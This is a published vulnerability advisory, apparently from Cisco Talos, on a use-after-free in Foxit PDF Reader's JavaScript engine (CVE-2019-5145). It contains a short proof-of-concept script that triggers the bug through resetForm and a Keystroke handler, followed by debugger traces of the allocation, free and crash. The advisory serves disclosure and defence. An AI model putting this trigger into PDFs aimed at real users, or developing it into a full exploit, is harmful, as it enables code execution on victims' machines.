CVE-2019-5145
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit PDF Reader, version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.7.0.29435
https://www.foxitsoftware.com/products/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
PDF documents support editable forms that can be associated with JavaScript actions that can be used to validate, edit or otherwise update contexts of the document. Form fields inside PDF documents can have JavaScript event handlers attached to them. Event handlers are executed when one of the specified “actions” happens. There exists a vulnerability in the way Foxit handles Keystroke
actions which are triggered when a user types into the field. In Foxit PDF Reader, this action can be triggered without user interaction via resetForm
function. Following excerpt from our PoC demonstrates this:
function main() {
var field = this.getField('txt2');
field['defaultValue'] = function(){}; // allocation happens here
field.setAction("Keystroke",'f();'); // to be executed when something is typed into the field
app.activeDocs[0].resetForm(); //resets fields to default values
}
function f() {
this.getField('txt2')['defaultValue'] = {}; // free happens here
// UAF happens after return from here
}
Function resetForm
resets the contents of all specified fields to their default values. In the above Javascript code, we first assign an empty function as a default field value and then we set up an event handler to be invoked on Keystroke
event. When form is reset, the event handler will kick in and once again change the default value. Changing the default value during form reseting results in a use after free as can be observed by following debugger output. First, we set a breakpoint just before an object is allocated so we can track its lifetime through the execution:
sxe ld dhcpcsvc
bp FoxitReader!safe_vsnprintf+0x1105f9
bp FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d "?eax;g"
We break on dhcpcsvc
module load for convenience, as there are many calls to the same breakpoint before that, but we are only interested in the first one after this module is loaded. Second breakpoint breaks just after the return from RtlAllocateHeap
where eax
contains a pointer to newly allocated memory:
0:005> bp FoxitReader!safe_vsnprintf+0x1105f9
0:005> g
Breakpoint 3 hit
eax=00dbe490 ebx=00000001 ecx=0bb4efd0 edx=04fe1f85 esi=ffffffff edi=0bb4efd0
eip=02753669 esp=00dbe47c ebp=00dbe49c iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
FoxitReader!safe_vsnprintf+0x1105f9:
02753669 e8e28f2c00 call FoxitReader!safe_vsnprintf+0x3d95e0 (02a1c650)
0:000> bp FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d
0:000> g
Breakpoint 4 hit
eax=1a65cfe0 ebx=00000000 ecx=da911ebe edx=01000002 esi=00000020 edi=0bb4efd0
eip=040b950d esp=00dbe434 ebp=00dbe438 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d:
040b950d 85c0 test eax,eax
0:000> ?eax
Evaluate expression: 442879968 = 1a65cfe0
0:000> dd eax
1a65cfe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
1a65cff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
1a65d000 ???????? ???????? ???????? ????????
1a65d010 ???????? ???????? ???????? ????????
1a65d020 ???????? ???????? ???????? ????????
1a65d030 ???????? ???????? ???????? ????????
1a65d040 ???????? ???????? ???????? ????????
1a65d050 ???????? ???????? ???????? ????????
0:000> !heap -p -a eax
address 1a65cfe0 found in
_DPH_HEAP_ROOT @ ee1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1a532a90: 1a65cfe0 20 - 1a65c000 2000
unknown!fillpattern
6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
02a1c4bb FoxitReader!safe_vsnprintf+0x003d944b
02a1ca46 FoxitReader!safe_vsnprintf+0x003d99d6
02a1c663 FoxitReader!safe_vsnprintf+0x003d95f3
0275366e FoxitReader!safe_vsnprintf+0x001105fe
0285b28c FoxitReader!safe_vsnprintf+0x0021821c
028595af FoxitReader!safe_vsnprintf+0x0021653f
01b42977 FoxitReader!CryptUIWizExport+0x001dadf7
01b2ea7f FoxitReader!CryptUIWizExport+0x001c6eff
01b4a753 FoxitReader!CryptUIWizExport+0x001e2bd3
01b0bf04 FoxitReader!CryptUIWizExport+0x001a4384
03143c22 FoxitReader!FXJSE_GetClass+0x00000492
031a1d22 FoxitReader!CFXJSE_Arguments::GetValue+0x0005dda2
031b9b73 FoxitReader!CFXJSE_Arguments::GetValue+0x00075bf3
031b98f3 FoxitReader!CFXJSE_Arguments::GetValue+0x00075973
031b94de FoxitReader!CFXJSE_Arguments::GetValue+0x0007555e
03427394 FoxitReader!CFXJSE_Arguments::GetValue+0x002e3414
03422b4d FoxitReader!CFXJSE_Arguments::GetValue+0x002debcd
034b29e7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036ea67
034fe07a FoxitReader!CFXJSE_Arguments::GetValue+0x003ba0fa
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
The above shows us when the object is being allocated and its size. This allocation actually happens during the first assignment of defaultValue
for field txt2
, or the following line from our PoC:
field['defaultValue'] = function(){};
Next, we want to see when this object is being freed. Following breakpoint breaks just before the object is freed:
0:000> bp FoxitReader!safe_vsnprintf+0x10d2ae
0:000> g
Breakpoint 6 hit
eax=00000001 ebx=00000001 ecx=1d872fe0 edx=00ee0000 esi=1a65cfe0 edi=0bb4efd0
eip=0275031e esp=00dbdc48 ebp=00dbdc64 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitReader!safe_vsnprintf+0x10d2ae:
0275031e e8bdc42c00 call FoxitReader!safe_vsnprintf+0x3d9770 (02a1c7e0)
0:000> ub
FoxitReader!safe_vsnprintf+0x10d297:
02750307 c0fd83 sar ch,83h
0275030a f8 clc
0275030b 0477 add al,77h
0275030d 3f aas
0275030e ff248558037502 jmp dword ptr FoxitReader!safe_vsnprintf+0x10d2e8 (02750358)[eax*4]
02750315 8d4e14 lea ecx,[esi+14h]
02750318 e8c3922c00 call FoxitReader!safe_vsnprintf+0x3d6570 (02a195e0)
0275031d 56 push esi
0:000> !heap -p -a poi(esp)
address 1a65cfe0 found in
_DPH_HEAP_ROOT @ ee1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1a532a90: 1a65cfe0 20 - 1a65c000 2000
6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
02a1c4bb FoxitReader!safe_vsnprintf+0x003d944b
02a1ca46 FoxitReader!safe_vsnprintf+0x003d99d6
02a1c663 FoxitReader!safe_vsnprintf+0x003d95f3
0275366e FoxitReader!safe_vsnprintf+0x001105fe
0285b28c FoxitReader!safe_vsnprintf+0x0021821c
028595af FoxitReader!safe_vsnprintf+0x0021653f
01b42977 FoxitReader!CryptUIWizExport+0x001dadf7
01b2ea7f FoxitReader!CryptUIWizExport+0x001c6eff
01b4a753 FoxitReader!CryptUIWizExport+0x001e2bd3
01b0bf04 FoxitReader!CryptUIWizExport+0x001a4384
03143c22 FoxitReader!FXJSE_GetClass+0x00000492
031a1d22 FoxitReader!CFXJSE_Arguments::GetValue+0x0005dda2
031b9b73 FoxitReader!CFXJSE_Arguments::GetValue+0x00075bf3
031b98f3 FoxitReader!CFXJSE_Arguments::GetValue+0x00075973
031b94de FoxitReader!CFXJSE_Arguments::GetValue+0x0007555e
03427394 FoxitReader!CFXJSE_Arguments::GetValue+0x002e3414
03422b4d FoxitReader!CFXJSE_Arguments::GetValue+0x002debcd
034b29e7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036ea67
034fe07a FoxitReader!CFXJSE_Arguments::GetValue+0x003ba0fa
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
Above shows the object just before it’s freed. We can observe Foxit is now executing the event handler, the following line specifically:
this.getField('txt2')['defaultValue'] = {};
Reassigning the defaultValue
causes our object to be freed. If we continue execution we can observe the following crash:
0:000> g
(2678.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00dbe618 ebx=1a65cfe0 ecx=1a65cfe0 edx=00ee0000 esi=1a65cfe0 edi=00000002
eip=0274f82a esp=00dbe5d8 ebp=00dbe624 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210286
FoxitReader!safe_vsnprintf+0x10c7ba:
0274f82a 0fb603 movzx eax,byte ptr [ebx] ds:002b:1a65cfe0=??
0:000> !heap -p -a ebx
address 1a65cfe0 found in
_DPH_HEAP_ROOT @ ee1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
1a532a90: 1a65c000 2000
6bd4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
77d73c45 ntdll!RtlpFreeHeap+0x000000d5
77d73812 ntdll!RtlFreeHeap+0x00000222
040b94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
04097261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
02a1c51b FoxitReader!safe_vsnprintf+0x003d94ab
02a1cbae FoxitReader!safe_vsnprintf+0x003d9b3e
02a1c812 FoxitReader!safe_vsnprintf+0x003d97a2
02750323 FoxitReader!safe_vsnprintf+0x0010d2b3
027536d2 FoxitReader!safe_vsnprintf+0x00110662
0285b28c FoxitReader!safe_vsnprintf+0x0021821c
028595af FoxitReader!safe_vsnprintf+0x0021653f
01b42977 FoxitReader!CryptUIWizExport+0x001dadf7
01b2ea7f FoxitReader!CryptUIWizExport+0x001c6eff
01b4a753 FoxitReader!CryptUIWizExport+0x001e2bd3
01b0bf04 FoxitReader!CryptUIWizExport+0x001a4384
03143c22 FoxitReader!FXJSE_GetClass+0x00000492
031a1d22 FoxitReader!CFXJSE_Arguments::GetValue+0x0005dda2
031b9b73 FoxitReader!CFXJSE_Arguments::GetValue+0x00075bf3
031b98f3 FoxitReader!CFXJSE_Arguments::GetValue+0x00075973
031b94de FoxitReader!CFXJSE_Arguments::GetValue+0x0007555e
03427394 FoxitReader!CFXJSE_Arguments::GetValue+0x002e3414
03422b4d FoxitReader!CFXJSE_Arguments::GetValue+0x002debcd
034b29e7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036ea67
034fe07a FoxitReader!CFXJSE_Arguments::GetValue+0x003ba0fa
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00dbe624 0274f629 FoxitReader!safe_vsnprintf+0x10c7ba
01 00dbe664 02858a46 FoxitReader!safe_vsnprintf+0x10c5b9
02 00dbe6c0 0284dded FoxitReader!safe_vsnprintf+0x2159d6
03 00dbe6e0 01a8301d FoxitReader!safe_vsnprintf+0x20ad7d
04 00dbe738 01a32a35 FoxitReader!CryptUIWizExport+0x11b49d
05 00dbe794 031439bb FoxitReader!CryptUIWizExport+0xcaeb5
06 00dbe7dc 0330bb99 FoxitReader!FXJSE_GetClass+0x22b
07 00dbe830 0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x1c7c19
08 00dbe8c4 0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c73af
09 00dbe90c 0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x1c7671
0a 00dbe928 034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c750b
0b 00dbe944 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x36eb47
0c 00dbe984 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0d 00dbe9b0 0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0e 00dbe9c4 0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x2fb00f
0f 00dbe9f0 0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x2fae2b
10 00dbeab4 03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x36576
11 00dbeb34 03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x36057
12 00dbebf0 0314210f FoxitReader!CFXJSE_Arguments::GetValue+0x231f7
Above crash is due to access violation on freed memory read. This use after free occurs after return from event handler which means we can manipulate the freed memory before it’s reused, which can be abused to arbitrary remote code execution.
2019-10-23 - Vendor Disclosure
2020-01-16 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.